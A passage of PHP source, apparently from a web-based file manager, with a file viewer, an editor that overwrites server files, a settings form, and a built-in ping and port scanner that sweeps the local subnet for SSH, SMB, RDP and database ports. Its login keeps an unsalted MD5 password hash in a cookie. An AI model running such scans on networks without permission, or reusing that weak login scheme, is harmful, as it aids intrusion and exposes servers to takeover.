'application/x-httpd-php-source', 'js' => 'application/x-javascript', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xhtml' => 'application/xhtml+xml', 'xht' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mpga' => 'audio/mpeg', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'rv' => 'video/vnd.rn-realvideo', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'txt' => 'text/plain', 'text' => 'text/plain', 'log' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'qt' => 'video/quicktime', 'mov' => 'video/quicktime', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie', 'doc' => 'application/msword', 'docx' => 'application/msword', 'word' => 'application/msword', 'xl' => 'application/excel', 'xls' => 'application/excel', 'xlsx' => 'application/excel', 'eml' => 'message/rfc822' ); return (!isset($mimes[lowercase($ext)])) ? 'application/octet-stream' : $mimes[lowercase($ext)]; } function get_file_icon_class($path){ $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'svg': $img = 'fa fa-picture'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'map': case 'lock': case 'dtd': $img = 'fa fa-code'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-code-o'; break; case 'gz': case 'bz': case 'zip': case 'gzip': case 'bzip': case 'tar': case 'tgz': case 'tbz': case 'rar': case 'lha': case '7z': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-php'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html'; break; case 'xml': case 'xsl': case 'xslx': $img = 'fa fa-file-excel'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': case 'm3u': case 'm3u8': case 'pls': case 'cue': $img = 'fa fa-music'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $img = 'fa fa-video'; break; case 'xls': case 'xlsx': $img = 'fa fa-file-excel-o'; break; case 'asp': case 'aspx': $img = 'fa fa-file-aspx'; break; case 'sql': case 'mda': case 'myd': case 'dat': case 'sql.gz': $img = 'fa fa-database'; break; case 'doc': case 'docx': $img = 'fa fa-file-word'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; default: $img = 'fa fa-file'; } return $img; } function view_form(){ global $doc_root,$fm_path_info,$url_info,$fm_current_dir,$is_windows,$filename,$passthru; if (intval($passthru)){ $file = $fm_current_dir.$filename; if(file_exists($file)){ $is_denied = false; foreach($download_ext_filter as $key=>$ext){ if (eregi($ext,$filename)){ $is_denied = true; break; } } if (!$is_denied){ if ($fh = fopen("$file", "rb")){ fclose($fh); $ext = pathinfo($file, PATHINFO_EXTENSION); $ctype = get_mime_type($ext); if (strpos($ctype,"application/") !== false) $ctype = "text/plain"; header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: public"); header("Content-Type: ".$ctype); header("Content-Disposition: inline; filename=\"".pathinfo($file, PATHINFO_BASENAME)."\";"); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".phpfm_filesize($file)); @readfile($file); exit(); } else echo(et('ReadDenied').": ".$file); } else echo(et('ReadDenied').": ".$file); } else echo(et('FileNotFound').": ".$file); } else { html_header(); echo "<body marginwidth=\"0\" marginheight=\"0\" style=\"height:100%; background-color:#fff;\">"; $title = et("View").' '.addslashes($filename); $is_reachable_thru_webserver = (stristr($fm_current_dir,$doc_root)!==false); if ($is_reachable_thru_webserver){ $url = $url_info['scheme']."://".$url_info['host']; if (strlen($url_info['port'])) $url .= ":".$url_info['port']; $url .= str_replace(DIRECTORY_SEPARATOR,'/',str_replace($doc_root,'',$fm_current_dir)); $url .= $filename; $title = et("View").' '.$url; } else { $url = addslashes($fm_path_info['basename']); $url .= "?action=4&fm_current_dir=".rawurlencode($fm_current_dir)."&filename=".rawurldecode($filename)."&passthru=1"; $title = et("View").' '.addslashes($fm_current_dir.$filename); } //fb_log('url',$url); echo " <script language=\"Javascript\" type=\"text/javascript\"> <!-- var el = window.parent.document.getElementById(\"modalIframeWrapperTitle\"); if (el) el.innerHTML = \"".html_encode($title)."\"; document.location.href = '".$url."'; //--> </script>"; echo " </body>\n</html>"; } } function ace_mode_autodetect($file){ $mode = 'plain_text'; $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); switch ($extension){ case 'html': case 'htm': $mode = 'html'; break; case 'css': $mode = 'css'; break; case 'php': case 'php3': case 'php4': case 'php5': case 'php6': case 'php7': case 'phps': $mode = 'php'; break; case 'js': $mode = 'javascript'; break; case 'sh': case 'bash': $mode = 'batchfile'; break; case 'py': $mode = 'python'; break; case 'c': case 'cpp': $mode = 'c_cpp'; break; case 'jsp': case 'java': $mode = 'jsp'; break; case 'sql': $mode = 'sql'; break; case 'ini': $mode = 'ini'; break; case 'json': $mode = 'json'; break; case 'twig': $mode = 'twig'; break; } return $mode; } function edit_file_form(){ global $fm_current_dir,$filename,$file_data,$save_file,$fm_path_info,$curr_row,$curr_col,$ace_mode,$ace_wrap,$cookie_cache_time; $file = $fm_current_dir.$filename; $ace_mode_opts = array(); $ace_mode_opts[] = array('HTML','html'); $ace_mode_opts[] = array('CSS','css'); $ace_mode_opts[] = array('PHP','php'); $ace_mode_opts[] = array('JAVASCRIPT','javascript'); $ace_mode_opts[] = array('BATCH SCRIPT','batchfile'); $ace_mode_opts[] = array('PYTHON','python'); $ace_mode_opts[] = array('C/C++','c_cpp'); $ace_mode_opts[] = array('JSP/JAVA','jsp'); $ace_mode_opts[] = array('SQL','sql'); $ace_mode_opts[] = array('INI','ini'); $ace_mode_opts[] = array('JSON','json'); $ace_mode_opts[] = array('TWIG TEMPLATE','twig'); $ace_mode_opts[] = array('PLAIN TEXT','plain_text'); $ace_mode_curr = ace_mode_autodetect($file); $file_ace_mode_cookiename = 'ace_'.hash('crc32',fix_cookie_name($file),FALSE); if (strlen($_COOKIE[$file_ace_mode_cookiename])) $ace_mode_curr = $_COOKIE[$file_ace_mode_cookiename]; if (strlen($ace_mode)) $ace_mode_curr = $ace_mode; setcookie($file_ace_mode_cookiename, $ace_mode_curr, time()+$cookie_cache_time, "/"); $ace_wrap_curr = 0; if (strlen($_COOKIE['ace_wrap'])) $ace_wrap_curr = intval($_COOKIE['ace_wrap']); if (strlen($ace_wrap)) $ace_wrap_curr = intval($ace_wrap); setcookie('ace_wrap', $ace_wrap_curr, time()+$cookie_cache_time, "/"); $curr_row = intval($curr_row); $curr_col = intval($curr_col); $save_msg = ''; $reload = false; if ($save_file){ if (is_binary($file)){ $file_data = base64_decode($file_data); //$file_data = hex2bin($file_data); } if (file_put_contents($file,$file_data,FILE_BINARY)){ $save_msg = et("FileSaved")."!"; $reload = true; } else $save_msg = et("FileSaveError")."..."; } clearstatcache(); $file_data = file_get_contents($file,FILE_BINARY); if (is_binary($file)){ $file_data = base64_encode($file_data); //$file_data = bin2hex($file_data); //$file_data = chunk_split($file_data,2,"\\x"); //$file_data = "\\x".substr($file_data,0,-2); } //<link rel=\"stylesheet\" type=\"text/css\" href=\"".$fm_path_info['basename']."?action=99&filename=prism.css\" media=\"screen\" /> html_header(" <script type=\"text/javascript\" src=\"".$fm_path_info['basename']."?action=99&filename=jquery-1.11.1.min.js\"></script> <script type=\"text/javascript\" src=\"".$fm_path_info['basename']."?action=99&filename=ace.js\"></script> "); echo "<body marginwidth=\"0\" marginheight=\"0\"> <form name=\"edit_form\" action=\"".$fm_path_info['basename']."\" method=\"post\"> <input type=hidden name=\"action\" value=\"7\"> <input type=hidden name=\"fm_current_dir\" value=\"".$fm_current_dir."\"> <input type=hidden name=\"filename\" value=\"".$filename."\"> <input type=hidden name=\"file_data\" id=\"file_data\" value=\"\"> <input type=hidden name=\"curr_row\" id=\"curr_row\" value=\"0\"> <input type=hidden name=\"curr_col\" id=\"curr_col\" value=\"0\"> <input type=hidden name=\"ace_mode\" id=\"ace_mode\" value=\"\"> <input type=hidden name=\"ace_wrap\" id=\"ace_wrap\" value=\"\"> <input type=hidden name=\"save_file\" value=\"0\"> </form> <style> html, body { width: 100%; height: 100%; margin: 0 !important; overflow: hidden; } #div_toolbar { position: relative; display: block; height: 30px; padding: 6px; } #div_toolbar button, #div_toolbar select { display: inline-block; float: left; margin-right: 6px; } #div_toolbar .ace_wrap_select { display: inline-block; float: left; border: 1px solid #aaa; background-color: #ddd; padding: 3px 6px 4px 3px; margin-right: 6px; margin-top: 1px; } #div_toolbar .ace_wrap_select input, #div_toolbar .ace_wrap_select label { cursor: pointer; } #div_toolbar .save_msg { display: inline-block; float: left; font-weight: bold; border: 1px solid #aaa; padding: 5px 6px; margin-right: 6px; margin-top: 1px; } #div_ace_editor { position: relative; display: block; height: calc(100% - 43px); border-top: 1px solid #ccc; } </style>"; echo " <div id=\"div_toolbar\"> <button type=\"button\" class=\"btn\" onclick=\"refreshFile()\" value=\"".et('Refresh')."\"><i class=\"fa fa-refresh\"></i> ".et('Refresh')." (Ctrl+r)</button> <button type=\"button\" class=\"btn\" onclick=\"saveFile()\" value=\"".et('SaveFile')."\"><i class=\"fa fa-add-file\"></i> ".et('SaveFile')." (Ctrl+s)</button> <select name=\"ace_mode_select\" id=\"ace_mode_select\" onchange=\"changeHighlightMode()\" style=\"width:300px; margin-top:1px; padding:6px 5px 5px 5px;\">"; foreach ($ace_mode_opts as $opt) { echo " <option value='".$opt[1]."'>Mode: ".$opt[0]; } echo " </select> <div class=\"ace_wrap_select\"><input type=\"checkbox\" name=\"ace_wrap_select\" id=\"ace_wrap_select\" value=\"1\"".($ace_wrap_curr?' checked':'')." onclick=\"changeWrapMode()\"><label for=\"ace_wrap_select\" class=\"noselect\"> Wrap</label></div>"; if (strlen($save_msg)) echo " <div class=\"save_msg\">".$save_msg."</div>"; echo " </div> <div id=\"div_ace_editor\">".html_encode($file_data)."</div> <script language=\"Javascript\" type=\"text/javascript\"> <!-- ace.config.set('basePath', '".$fm_path_info['basename']."?action=99&filename='); ace.require(\"ace/ext/whitespace\"); var editor = ace.edit('div_ace_editor'); editor.setOptions({ theme: 'ace/theme/monokai', mode: 'ace/mode/".$ace_mode_curr."', useWorker: false, // boolean: true if use web worker for loading scripts useSoftTabs: true, // boolean: true if we want to use spaces than tabs tabSize: 4, wrap: ".($ace_wrap_curr?'true':'false').", indentedSoftWrap: false, fixedWidthGutter: true, showPrintMargin: false, printMarginColumn: 80, //scrollSpeed: 2, fontFamily: 'Courier New', fontSize: '10pt' }); editor.commands.addCommand({ name: 'refreshFile', bindKey: {win: 'Ctrl-r', mac: 'Command-r'}, exec: function(editor) { refreshFile(); } }); editor.commands.addCommand({ name: 'saveFile', bindKey: {win: 'Ctrl-s', mac: 'Command-s'}, exec: function(editor) { saveFile(); } }); function changeHighlightMode(){ var mode = $('#ace_mode_select').val(); if (mode.length > 0) mode = 'ace/mode/'+mode; editor.getSession().setMode(mode); } function changeWrapMode(){ var mode = $('#ace_wrap_select').prop('checked'); editor.getSession().setOption('wrap', mode); } function refreshFile(){ document.edit_form.save_file.value=0; document.edit_form.file_data.value=''; $('#curr_row').val(editor.getSelectionRange().start.row); $('#curr_col').val(editor.getSelectionRange().start.column); $('#ace_mode').val($('#ace_mode_select').val()); $('#ace_wrap').val($('#ace_wrap_select').prop('checked')?1:0); document.edit_form.submit(); } function saveFile(){ document.edit_form.save_file.value=1; $('#file_data').val(editor.getSession().getValue()); $('#curr_row').val(editor.getSelectionRange().start.row); $('#curr_col').val(editor.getSelectionRange().start.column); $('#ace_mode').val($('#ace_mode_select').val()); $('#ace_wrap').val($('#ace_wrap_select').prop('checked')?1:0); "; if (is_writable($file)) echo " document.edit_form.submit();"; else echo " if(confirm('".et('ConfTrySave')." ?')) document.edit_form.submit();"; echo " } $('#ace_mode_select').val('".$ace_mode_curr."'); window.parent.modalWindowReloadOnClose = ".($reload?'true':'false')."; window.focus(); editor.gotoLine(".($curr_row+1).",".($curr_col)."); editor.focus(); //--> </script>"; echo " </body>\n</html>"; } function config_form(){ global $cfg; global $fm_current_dir,$fm_file,$doc_root,$fm_path_info,$fm_current_root,$sys_lang,$open_basedirs,$version; global $lang,$fm_root,$timezone,$date_format,$error_reporting; global $config_action,$newlang,$newfmroot,$newtimezone,$newdateformat,$newerror,$newpass; $reload = false; switch ($config_action){ case 1: if ($cfg->data['lang'] != $newlang){ $cfg->data['lang'] = $newlang; $lang = $newlang; } if ($cfg->data['fm_root'] != $newfmroot){ $cfg->data['fm_root'] = $newfmroot; $fm_root = $newfmroot; } if ($cfg->data['timezone'] != $newtimezone){ $cfg->data['timezone'] = $newtimezone; $timezone = $newtimezone; } if ($cfg->data['date_format'] != $newdateformat){ $cfg->data['date_format'] = $newdateformat; $date_format = $newdateformat; } if ($cfg->data['error_reporting'] != $newerror){ $cfg->data['error_reporting'] = $newerror; $error_reporting = $newerror; } if ($cfg->data['auth_pass'] != $newpass){ $cfg->data['auth_pass'] = md5($newpass); setcookie("loggedon", $cfg->data['auth_pass'], 0 , "/"); } $cfg->save(); $reload = true; break; } html_header('<script type="text/javascript" src="'.$fm_path_info['basename'].'?action=99&filename=jquery-1.11.1.min.js"></script>'); echo "<body marginwidth=\"0\" marginheight=\"0\">\n"; if ($reload){ echo " <script language=\"Javascript\" type=\"text/javascript\"> <!-- window.setTimeout(function(){ window.parent.parent.document.location.href='".$fm_path_info['basename']."?fm_current_dir=".rawurlencode($fm_current_dir)."'; },500); //--> </script>"; } else { $timezone_opts = json_decode('[ ["(GMT-12:00) Pacific\/Wake","Pacific\/Wake"], ["(GMT-11:00) Pacific\/Apia","Pacific\/Apia"], ["(GMT-10:00) Pacific\/Honolulu","Pacific\/Honolulu"], ["(GMT-09:00) America\/Anchorage","America\/Anchorage"], ["(GMT-08:00) America\/Los_Angeles","America\/Los_Angeles"], ["(GMT-07:00) America\/Chihuahua","America\/Chihuahua"], ["(GMT-07:00) America\/Denver","America\/Denver"], ["(GMT-07:00) America\/Phoenix","America\/Phoenix"], ["(GMT-06:00) America\/Chicago","America\/Chicago"], ["(GMT-06:00) America\/Managua","America\/Managua"], ["(GMT-06:00) America\/Mexico_City","America\/Mexico_City"], ["(GMT-06:00) America\/Regina","America\/Regina"], ["(GMT-05:00) America\/Bogota","America\/Bogota"], ["(GMT-05:00) America\/Indiana\/Indianapolis","America\/Indiana\/Indianapolis"], ["(GMT-05:00) America\/New_York","America\/New_York"], ["(GMT-04:00) America\/Caracas","America\/Caracas"], ["(GMT-04:00) America\/Halifax","America\/Halifax"], ["(GMT-04:00) America\/Santiago","America\/Santiago"], ["(GMT-03:30) America\/St_Johns","America\/St_Johns"], ["(GMT-03:00) America\/Argentina\/Buenos_Aires","America\/Argentina\/Buenos_Aires"], ["(GMT-03:00) America\/Godthab","America\/Godthab"], ["(GMT-03:00) America\/Sao_Paulo","America\/Sao_Paulo"], ["(GMT-02:00) America\/Noronha","America\/Noronha"], ["(GMT-01:00) Atlantic\/Azores","Atlantic\/Azores"], ["(GMT-01:00) Atlantic\/Cape_Verde","Atlantic\/Cape_Verde"], ["(GMT 00:00) Africa\/Casablanca","\/Casablanca"], ["(GMT 00:00) Europe\/London","\/London"], ["(GMT+01:00) Africa\/Lagos","Africa\/Lagos"], ["(GMT+01:00) Europe\/Belgrade","Europe\/Belgrade"], ["(GMT+01:00) Europe\/Berlin","Europe\/Berlin"], ["(GMT+01:00) Europe\/Paris","Europe\/Paris"], ["(GMT+01:00) Europe\/Sarajevo","Europe\/Sarajevo"], ["(GMT+02:00) Africa\/Cairo","Africa\/Cairo"], ["(GMT+02:00) Africa\/Johannesburg","Africa\/Johannesburg"], ["(GMT+02:00) Asia\/Jerusalem","Asia\/Jerusalem"], ["(GMT+02:00) Europe\/Istanbul","Europe\/Istanbul"], ["(GMT+02:00) Europe\/Bucharest","Europe\/Bucharest"], ["(GMT+02:00) Europe\/Helsinki","Europe\/Helsinki"], ["(GMT+03:00) Africa\/Nairobi","Africa\/Nairobi"], ["(GMT+03:00) Asia\/Baghdad","Asia\/Baghdad"], ["(GMT+03:00) Asia\/Riyadh","Asia\/Riyadh"], ["(GMT+03:00) Europe\/Moscow","Europe\/Moscow"], ["(GMT+03:30) Asia\/Tehran","Asia\/Tehran"], ["(GMT+04:00) Asia\/Muscat","Asia\/Muscat"], ["(GMT+04:00) Asia\/Tbilisi","Asia\/Tbilisi"], ["(GMT+04:30) Asia\/Kabul","Asia\/Kabul"], ["(GMT+05:00) Asia\/Karachi","Asia\/Karachi"], ["(GMT+05:00) Asia\/Yekaterinburg","Asia\/Yekaterinburg"], ["(GMT+05:30) Asia\/Calcutta","Asia\/Calcutta"], ["(GMT+05:45) Asia\/Katmandu","Asia\/Katmandu"], ["(GMT+06:00) Asia\/Dhaka","Asia\/Dhaka"], ["(GMT+06:00) Asia\/Colombo","Asia\/Colombo"], ["(GMT+06:00) Asia\/Novosibirsk","Asia\/Novosibirsk"], ["(GMT+06:30) Asia\/Rangoon","Asia\/Rangoon"], ["(GMT+07:00) Asia\/Bangkok","Asia\/Bangkok"], ["(GMT+07:00) Asia\/Krasnoyarsk","Asia\/Krasnoyarsk"], ["(GMT+08:00) Asia\/Hong_Kong","Asia\/Hong_Kong"], ["(GMT+08:00) Asia\/Irkutsk","Asia\/Irkutsk"], ["(GMT+08:00) Asia\/Singapore","Asia\/Singapore"], ["(GMT+08:00) Asia\/Taipei","Asia\/Taipei"], ["(GMT+08:00) Asia\/Irkutsk","Asia\/Irkutsk"], ["(GMT+08:00) Australia\/Perth","Australia\/Perth"], ["(GMT+09:00) Asia\/Tokyo","Asia\/Tokyo"], ["(GMT+09:00) Asia\/Seoul","Asia\/Seoul"], ["(GMT+09:00) Asia\/Yakutsk","Asia\/Yakutsk"], ["(GMT+09:30) Australia\/Adelaide","Australia\/Adelaide"], ["(GMT+09:30) Australia\/Darwin","Australia\/Darwin"], ["(GMT+10:00) Australia\/Brisbane","Australia\/Brisbane"], ["(GMT+10:00) Australia\/Hobart","Australia\/Hobart"], ["(GMT+10:00) Australia\/Sydney","Australia\/Sydney"], ["(GMT+10:00) Asia\/Vladivostok","Asia\/Vladivostok"], ["(GMT+10:00) Pacific\/Guam","Pacific\/Guam"], ["(GMT+11:00) Asia\/Magadan","Asia\/Magadan"], ["(GMT+12:00) Pacific\/Auckland","Pacific\/Auckland"], ["(GMT+12:00) Pacific\/Fiji","Pacific\/Fiji"], ["(GMT+13:00) Pacific\/Tongatapu","Pacific\/Tongatapu"] ]'); echo " <table border=0 cellspacing=0 cellpadding=5 align=left style=\"padding:5px;\"> <form name=\"config_form\" action=\"".$fm_path_info['basename']."\" method=\"post\" autocomplete=\"off\"> <input type=hidden name=action value=2> <input type=hidden name=config_action value=0> <tr><td align=right width=1>".et('FileMan').":<td>".et('Version')." ".$version." (".format_size(phpfm_filesize($fm_file)).")</td></tr> <tr><td align=right width=1><nobr>".et('DocRoot').":</nobr><td>".$doc_root."</td></tr> <tr><td align=right width=1><nobr>".et('PHPOpenBasedir').":</nobr><td>".(count($open_basedirs)?implode("<br>\n",$open_basedirs):et('PHPOpenBasedirFullAccess'))."</td></tr> <tr><td align=right width=1>".et('FMRoot').":<td><input type=\"text\" style=\"width:392px; padding:5px 8px;\" id=\"newfmroot\" name=\"newfmroot\" readonly autocomplete=\"off\" value=\"".html_encode($fm_root)."\" onkeypress=\"enterSubmit(event,'test_config_form(1)')\"></td></tr> <tr><td align=right>".et('Timezone').":<td> <select name=newtimezone id=newtimezone style=\"width:410px; padding:5px;\"> <option value=''>System Default"; foreach ($timezone_opts as $opt) { echo " <option value='".$opt[1]."'>".$opt[0]; } echo " </select> </td></tr> <tr><td align=right width=1>".et('DateFormat').":<td><input type=\"text\" style=\"width:392px; padding:5px 8px;\" id=\"newdateformat\" name=\"newdateformat\" readonly autocomplete=\"off\" value=\"".html_encode($date_format)."\" onkeypress=\"enterSubmit(event,'test_config_form(1)')\"></td></tr> <tr><td align=right>".et('Lang').":<td> <select name=newlang id=newlang style=\"width:410px; padding:5px;\"> <option value=''>System Default</option> <option value='sq'>Albanian - by Vilson Bujaj</option> <option value='ca'>Catalan - by Pere Borràs AKA @Norl</option> <option value='cn'>Chinese - by Wen.Xin</option> <option value='nl'>Dutch - by Leon Buijs</option> <option value='en'>English - by Fabricio Seger Kolling</option> <option value='fr'>French - by Jean Bilwes</option> <option value='de'>German - by Guido Ogrzal</option> <option value='id'>Indonesian - by dirmanhana</option> <option value='it'>Italian - by Valerio Capello</option> <option value='ja'>Japanese - by h3zjp</option> <option value='ko'>Korean - by Airplanez</option> <option value='fa'>Persian/Dari - by Opensecure, Max Base</option> <option value='pt'>Portuguese - by Fabricio Seger Kolling</option> <option value='pl'>Polish - by Jakub Kocój</option> <option value='sr'>Serbian - by Miroljub Sunajko</option> <option value='es'>Spanish - by Sh Studios</option> <option value='ru'>Russian - by Евгений Рашев, Алексей Гаврюшин</option> <option value='tr'>Turkish - by Necdet Yazilimlari</option> <option value='ua'>Ukrainian - by Андрій Литвин</option> <option value='ur'>Urdu - by MEGAMINDMK</option> </select> </td></tr> <tr><td align=right>".et('ErrorReport').":<td> <select name=newerror id=newerror style=\"width:410px; padding:5px;\"> <option value=\"0\">Disabled <option value=\"1\">Show PHP Errors <option value=\"2\">Show PHP Errors + ChromePhp Debug </select> </td></tr>"; $show_pass = ''; if ($cfg->data['auth_pass'] != md5('')) $show_pass = $cfg->data['auth_pass']; echo " <tr><td align=right>".et('Pass').":<td> <input type=\"password\" style=\"width:392px; padding:5px 8px;\" name=\"newpass\" id=\"newpass\" readonly autocomplete=\"off\" value=\"".html_encode($show_pass)."\" onkeypress=\"enterSubmit(event,'test_config_form(1)')\"> </td></tr> <tr><td> <td align=right><input type=button class=\"btn noIcon\" value=\"".et('SaveConfig')."\" onclick=\"test_config_form(1)\"></td></tr> </form> </table> <script language=\"Javascript\" type=\"text/javascript\"> <!-- $('#newlang').val('".$cfg->data['lang']."'); $('#newtimezone').val('".$cfg->data['timezone']."'); $('#newerror').val('".$cfg->data['error_reporting']."'); function test_config_form(arg){ document.config_form.config_action.value = arg; document.config_form.submit(); } // To avoid autofill, because autocomplete=off simply does not work.. window.setTimeout(function(){ $('#newfmroot').removeAttr('readonly'); $('#newdateformat').removeAttr('readonly'); $('#newpass').removeAttr('readonly'); },250); //--> </script>"; } echo " </body>\n</html>"; } function phpfm_host2ip($host_or_ip){ if (filter_var($host_or_ip, FILTER_VALIDATE_IP)) return $host_or_ip; else return gethostbyname($host_or_ip); } function phpfm_ping($host_or_ip,&$output) { if (!function_exists("socket_create")) { $output = "Function socket_create() not available"; return false; } $timeout = 1; $ip = phpfm_host2ip($host_or_ip); $socket = socket_create(AF_INET, SOCK_RAW, getprotobyname('icmp')); socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0)); socket_connect($socket, $ip, 0); $ping_ok = false; $ping_tries = 2; for ($i=0;$i<$ping_tries;$i++) { $time_start = microtime(true); $package = "\x08\x00\x19\x2f\x00\x00\x00\x00\x70\x69\x6e\x67"; socket_send($socket, $package, strlen($package), 0); if (socket_read($socket, 255)) { $ping_ok = true; } $time_stop = microtime(true); $ms = ($time_stop - $time_start) * 1000; if ($ping_ok) break; } socket_close($socket); if ($ping_ok) $output = number_format((float)$ms, 2, '.', '').'ms'; elseif ($ms > $timeout * 1000) $output = 'Timeout'; else $output = 'No response'; if ($ip != $host_or_ip) $output .= ' ('.$ip.')'; return $ping_ok; } function phpfm_portscan($ip,$port,&$output){ global $services; if (!function_exists("fsockopen")) { return "Function fsockopen() not available"; } $timeout = 1; $proto_ip = $ip; if (stripos($port,'udp') !== false) $proto_ip = 'udp://'.$ip; $port_nr = str_strip($port,'1234567890'); $port_open = false; $fp = @fsockopen($proto_ip, $port_nr, $errno, $errstr, $timeout); $fb_out = ''; if($fp){ // TODO: UDP port scan needs more testing.. if (stripos($port,'udp') !== false) { stream_set_timeout($fp, 3); stream_set_write_buffer($fp, 0); stream_set_read_buffer($fp, 0); stream_set_blocking($fp, true); if (fwrite($fp,"test\n") !== falze){ $fb_out = trim(stream_get_contents($fp)); $info = stream_get_meta_data($fp); if (!$info['timed_out'] && $fb_out !== false) { if (strlen($fb_out)){ $port_open = true; } } } } else { $port_open = true; } fclose($fp); } if ($port_open) { $output = '│ <font color="green">Port: '.$port.(isset($services[$port])?' = '.$services[$port]:'').'</font><br>'; } else { $output = '│ <font color="brown">Port: '.$port.(isset($services[$port])?' = '.$services[$port]:'').'</font><br>'; // '.$errstr.' ('.$errno.') } return $port_open; } /* https://www.ricardoarrigoni.com.br/tabela-ascii-completa/ ┌─────────┐ │ XXXXXXX │ ├───-─────┘ ├─► xxxxxxx └─► xxxxxxx ╔═════════╗ ║ XXXXXXX ║ ╠═════════╝ ╟► xxxxxxx ╙► xxxxxxx */ function portscan_form(){ global $cfg; global $fm_current_dir,$fm_file,$doc_root,$fm_path_info,$fm_current_root; global $ip,$lan_ip; global $portscan_action,$portscan_ip,$portscan_ips,$portscan_port,$portscan_ports,$services,$portscan_ignore_ping; $services_inverted = array_flip($services); $default_portscan_services = explode(",","DAYTIME,FTP,SSH,TELNET,DNS,DHCP,NETBIOS-SESSION,SNMP,LDAP,SMB-AD,MSSQL,ORACLE,MYSQL/MARIADB,RDESKTOP,VNC,HTTPD-ALT"); $default_portscan_ports = array(); foreach ($default_portscan_services as $name) { if (isset($services_inverted[$name])) $default_portscan_ports[] = $services_inverted[$name]; } $default_portscan_ports = implode(",",$default_portscan_ports); switch ($portscan_action){ case 2: // Do Ping @ini_set("max_execution_time",30); header("Content-type: text/plain"); $output = ''; $ping_ok = phpfm_ping($portscan_ip,$output); header('Content-Type: application/json; charset=utf-8'); echo json_encode(array($ping_ok,$output)); die(); break; case 3: // Scan Port @ini_set("max_execution_time",30); $output = ''; $portscan_ip = phpfm_host2ip($portscan_ip); $port_open = phpfm_portscan($portscan_ip,$portscan_port,$output); header('Content-Type: application/json; charset=utf-8'); echo json_encode(array($port_open,$output)); die(); break; case 4: // Scan Multiple Ports @ini_set("max_execution_time",120); $portscan_ip = phpfm_host2ip($portscan_ip); $portscan_ports = explode(',',$portscan_ports); $resul = array(); foreach ($portscan_ports as $portscan_port) { $output = ''; $port_open = phpfm_portscan($portscan_ip,$portscan_port,$output); $resul[] = array($port_open,$output); } header('Content-Type: application/json; charset=utf-8'); echo json_encode($resul); die(); break; } html_header('<script type="text/javascript" src="'.$fm_path_info['basename'].'?action=99&filename=jquery-1.11.1.min.js"></script>'); $m = explode(".",$lan_ip); $inet = $m[0].".".$m[1].".".$m[2]."."; if (!strlen($portscan_ip_range)) $portscan_ip_range = $inet."1-254"; //if (!strlen($portscan_port_range)) $portscan_port_range = implode(",",array_keys($services)); if (strlen($_COOKIE['portscan_ip_range'])) $portscan_ip_range = $_COOKIE['portscan_ip_range']; if (!strlen($portscan_port_range)) $portscan_port_range = $default_portscan_ports; if (strlen($_COOKIE['portscan_port_range'])) $portscan_port_range = $_COOKIE['portscan_port_range']; echo "<body marginwidth=\"0\" marginheight=\"0\"> <style> html, body { width: 100%; height: 100%; margin: 0 !important; overflow: hidden; } #div_toolbar { position: relative; display: block; height: 130px; padding: 6px; } #div_toolbar button, #div_toolbar .save_msg { display: inline-block; float: left; margin-right: 6px; } #div_toolbar .portscan_ignore_ping { display: inline-block; float: left; border: 1px solid #aaa; background-color: #ddd; padding: 3px 6px 4px 3px; margin-right: 6px; margin-top: 1px; } #div_toolbar .portscan_ignore_ping input, #div_toolbar .portscan_ignore_ping label { cursor: pointer; } #portscanIframe { position: relative; display: block; background: #000; color: #fff; width: 100%; height: calc(100% - 143px); overflow-y: scroll; overflow-x: auto; border-top: 1px solid #ccc; } </style> <div id=\"div_toolbar\"> <table border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\" height=\"100%\"> <form 